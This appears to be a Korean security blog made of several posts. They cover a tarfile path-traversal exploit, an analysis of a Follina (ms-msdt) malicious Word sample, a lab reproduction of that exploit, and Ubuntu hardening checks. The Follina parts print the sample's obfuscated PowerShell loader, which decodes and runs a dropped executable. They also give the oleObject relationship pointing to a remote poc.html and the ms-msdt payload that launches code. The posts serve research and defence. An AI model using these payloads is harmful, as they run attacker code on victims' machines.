#Description

tarfile module -> tarinfo에서 "../" 와 같은 경로 문자를 검증하지 않아서 발생함.

 

 

exploit

 

#1. 파일에 "../"문자열을 이어붙여 .tar 파일을 만드는 스크립트 (make.py)

 - make.py를 실행하면 "exploit.tar" 이름의 .tar 파일이 생성됨.

  이 때, 안의 hackfile.txt는 "../hackfile.txt" 로 바뀌게 된다.

 

 

#2. .tar 파일을 압축해제하는 스크립트 (unlock.py)

 

 - unlock.py 스크립트를 실행하면 "../hackfile.txt"가 압축해제 되면서 바로위의 경로에 해당 파일이 생기게 된다.

 

 

 

#tarfile module - extractall 함수에서 받아온 인자에 "."나 "/" 기호가 포함되어 있으면

 "warring"경고를 출력하고 작동을 중지하게 모듈을 수정하였다.

 

 - 다시 실행 후

 - 경고 출력과 함께 파일이 생성되지 않았다.

 

 

 

 

참고 : https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/tarfile-exploiting-the-world.html

 

feat. https://shinobu.tistory.com/

https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/

 

 

confluence 에서 제로데이 발생.

 

 

 

※본 문서는 연구 목적으로 작성한 게시글입니다.

  해당 문서를 참고하여 악용할 시 기술자는 책임을 지지 않습니다.

 

 

ANALYSIS

File name : 05-2022-0438.doc(sample)

File size : 10.01 KB

MD5 : 52945af1def85b171870b31fa4782e52

SHA-1 : 06727ffda60359236a8029e0b3e8a0fd11c23313

SHA-256 : 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

 

 

 

 

처음 파일을 오픈했을 때, 빈 파일처럼 표시된다.(가상환경에서 실행.)

 

zip 파일로 변경하고 /word/_rels 폴더로 이동하였다.

  - 해당 파일은 doc 파일의 내부구성 파일 정도로 생각하면 된다.

자세한 정보 : https://fileinfo.com/extension/rels

 

 

#텍스트 파일로 변경한 document.xml.rels

 - 가독성을 위해 여러 줄로 변경하였다.

 - Relationship Id가 "rId996"인 수상한 구성이 보인다.

 

 

#현재는 접속이 되지 않는 모습

 

 

#실제로 작동하는 RDF842I.html 파일 중 스크립트 태그의 내용(정크 바이트 제외)

 - 출처 : https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

 - 해당 파일이 동작하게 되면 word의 external link를 사용하여 html을 로드하고, 'ms-msdt'를 통해 발생한다.

ms- msdt : ms / diagnostic tool(진단 도구 모음)

 

 

#스크립트 태그의 악성 구문

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-

Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+

[char]58+'FromBase64String('+

[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3

R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAk

Y21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9y

ICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmd

BQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5le

GUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe

 IT_AutoTroubleshoot=ts_AUTO\"";

 

 해당 구문을 통해 powershell 명령을 ms-msdt 로 호출한다는 것을 알 수 있었다.

 

 

 #Invoke-Expression을 통해 실행된 데이터 중 Base64로 인코딩 된 데이터를 디코딩

$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

 

1. hidden 창으로 다음을 작동

2. 실행 중이면 msdt.exe 종료

3. 인코딩된 CAB 파일에 대한 Base64 문자열을 찾는 RAR 파일 내부의 파일을 통해 for문 작동

  -> base64로 인코딩된 CAB 파일을 1.t로 저장

  -> base64로 인코딩된 CAB 파일을 디코딩하여 1.c로 저장

  -> 1.c CAB 파일을 현재 디텍토리로 확장

  -> rgb.exe 실행

 

이로 인해 rgb.exe가 무슨 기능을 하는지 알 수 없지만, 해당 파일이 실행되어

시스템에 영향을 끼칠 수 있다는 것을 확인할 수 있다.

 

 

 

EXPLOIT

#환경

 

#윈도우에서 word를 검색하여 파일 생성, 이름 zip으로 변경 후 압축해제

 

 

# /word/_rels 폴더 안에 document.xml.rels 파일을 수정

 - 확장자를 .txt로 변경하고 내용을 확인해보면 문서파일을 구성하는 설정들이 보인다.

 - Relationship Id="rId4" 파트를 아래 설정으로 변경 후 .rels 확장자로 다시 변경

<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://192.168.75.129:8000/poc.html" TargetMode="External"/>

 -> 클릭하면 "http://192.168.75.129:8000/poc.html 파일을 실행하는 object 생성

 

 

# /word 폴더 안에서 document.xml 파일을 실제 악성코드 샘플에서 쓰인 파일로 변경

 - 좌 : 새로 만든 문서의 document.xml

 - 우 : 05-2022-0438.doc 파일의 document.xml 

 

 -> document.xml.rels 파일에 "oleObject" 의 설정으로 변경해주었었는데,

     document.xml에 object 구성에 대해 기술되어있는 것을 확인할 수 있다.

     그러므로 "http://192.168.75.129:8000/poc.html" 파일을 의도적으로 실행하기 위해

     document.xml 파일을 object 구성정보가 있는 파일로 변경해주었다.

 

 

#처음 압축 해제 한 폴더로 돌아와서 재압축 후 .doc으로 확장자 변경.

 

#워드파일 실행 후 오브젝트 더블클릭

  - 문서를 열었을 때 빈 문서처럼 보이지만, 좌측 상단을 더블클릭하게 되면 오브젝트가 실행되어

    공격자의 서버와 통신하고, 공격자 서버의 html 파일을 실행하게 된다.

 

 

#공격자 서버쪽에서 poc.html 파일이 실행된 것이 보였다.

 

 

#poc.html

 - script 태그 안의 무수히 많은 'B'는 4096바이트를 채우기 위해 존재하는 것인데, 4096바이트는 HTML 처리 기능을 위한 

  하드코딩된 버퍼 크기이다. 4096 바이트 미만의 파일은 페이로드를 호출하지 않는다고 한다.

 

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";

 - 정크 데이터를 제외하고 스크립트 코드가 있는데, 이 코드는 호출되었을 때 ms-msdt를 이용해 피해자의 로컬에서 계산기를 호출하는 파워쉘코드를 포함하고 있다.

 

 

# 위 과정을 통해 오브젝트를 클릭하면 아래 사진처럼 피해자의 의지 없이 계산기가 실행되게 된다.

 

 

 

[참고문서]

https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/details

https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

https://isc.sans.edu/forums/diary/New+Microsoft+Office+Attack+Vector+via+msmsdt+Protocol+Scheme/28694/#comments 

https://www.pwndefend.com/2022/05/30/office-microsoft-support-diagnostic-tool-msdt-vulnerability-follina/

 

 

 

shellcod_pass.zip
0.02MB

 

압축 암호문의는 lrszero@naver.com로 사유와 함께 메일보내주시면 회신드리겠습니다.

 

 

 

++도착한 메일 중 제가 착각한 내용이 있는 관계로

암호 문의하실 때, 제목을 "쉘스크립트 암호 부탁드립니다" 등으로

보내주시면 답변 드리겠습니다. 착각한 분에게는 죄송합니다.

 

link -> https://github.com/fr0stier/Ubuntu_inspection

환경

 - Ubuntu 18.04.6 LTS

U-43(상) 

5.1 로그의 정기적 검토 및 보고

 

#판단기준

1. 접속기록 등의 보안 로그, 응용 프로그램 및 시스템 로그 기록에 대해

   정기적으로 검토, 분석, 리포트 작성 및 보고 등의 조치가 이루어 지지 않는 경우

 

 

#script 작성

 - /var/log에 있는 로그파일들을 서버 관리자의 재량에 따라 분류하고 검토해야 한다.

 


#결과 실행

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

환경

 - Ubuntu 18.04.6 LTS

U-42(상) 

4.1 최신 보안패치 및 벤더 권고사항 적용

 

#판단기준

1. 서버 관리자가 보안패치 리스트를 참고하여 재량것 판단

 

#사유

 - 최신 보안패치가 적용되지 않은 노후한 환경일 경우, 이미 알려진 취약점으로

   공격자가 시스템에 접근하고 피해를 줄 수 있다.

 

 

#script 작성

 - 모든 패키지의 버전과 보안체크리스트를 비교하는 것은 무리가 있어서

   보안 패치 업데이트 명령어와 자동으로 보안 패치를 하는 패키지를 스크립트에 기술해 놓았다.

 

 

#결과 실행

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

환경

 - Ubuntu 18.04.6 LTS

U-41(상)

3.23 웹서비스 영역의 분리

 

#판단기준

1. apache2 프로세스가 실행중인가?

2. 실행중일 경우, "/etc/apache2/sites-available/000-default.conf" 파일에 설정 "DocumentRoot"가 주석처리되지 않고 

   설정되었는가?
3. "DocumentRoot" 옵션이 있을 경우, 기본디렉터리의 경로인가? (/usr/local/apache/htdocs는 linux라 제외)

 

#사유

 - 웹 서버로 해킹이 성공하였을 때, 웹 서버 루트 디렉토리와 OS의 루트 디렉토리가 같으면

   시스템 영역으로까지 피해가 확장될 수 있다.

 

 

#script 작성

1. 파일 존재여부 검사

2. 해당 파일에서 "DocumentRoot" 설정 검사

3. "DocumentRoot" 설정이 주석처리되지 않았고, $check_list 변수에 들어간 기본 경로로 설정되었는지 검사

 

 

 

#결과 실행

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

환경

 - Ubuntu 18.04.6 LTS

U-40(상)

3.22 웹서비스 파일 업로드 및 다운로드 제한


#판단기준

1. apache2 프로세스가 실행중인지 검사

2. /etc/apache2/apache2.conf 파일에서 "LimitRequestBody = {number}" 검사

 

#사유

 - 악의적 목적을 가진 사용자가 반복업로드나 웹 쉘 공격 등으로 권한 탈취를 하거나

   반복적 혹은 대용량의 파일 반복 업로드로 서버에 무리가 오게 할 수 있는 위험이 있다.

 

 

#script 작성

1. apache2 프로세스가 실행중인지 검사

2. /etc/apache2/apache2.conf 파일에서 주석처리되지 않은 "LimitRequestBody = {number}" 설정이 존재하는지 검사

 

 

#실행결과

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

 

환경

 - Ubuntu 18.04.6 LTS

U-39(상) 

3.21 웹서비스 링크 사용금지

 

#판단기준

1. apache2 프로세스 실행중인지 검사

2. /etc/apache2/apache2.conf 파일에 Options 설정에서 옵션 "FollowSymLinks"가 적용되어 있는지 검사

 

#사유

 - 웹 루트폴더에 root 디렉터리를 링크하는 파일이 있으면 디렉터리 인덱싱 기능이 차단되어도

   root 디렉터리 열람 가능.

 

 

#script 작성

1. apache2 프로세스가 실행중인지 검사

2. /etc/apache2/apache2.conf 파일에서 주석처리되지 않은 "Options" 설정에 "FollowSymLinks"가 적용되어 있는지 검사

 

 

#실행 결과

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

환경

 - Ubuntu 18.04.6 LTS

3.20 웹서비스 불필요한 파일 제거

*해당 파일은 apache2에서는 확인되지 않음.

 자료를 찾아봤으나 apache2로 넘어오면서 삭제된 것으로 추정.

 

#판단기준

1. 취약한 파일 "manual"이 존재하는가?

 

#사유

 - manual 파일로 인한 취약점이 시스템 관련정보를 노출하거나 악용될 가능성이 있음.

 

#script 작성

1. 전체 경로에서 취약점이 존재하는 특정 파일을 검사.

 

 

#실행 결과(파일이 있다는 가정하에 테스트.)

 

 

출처 : https://krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35988

+ Recent posts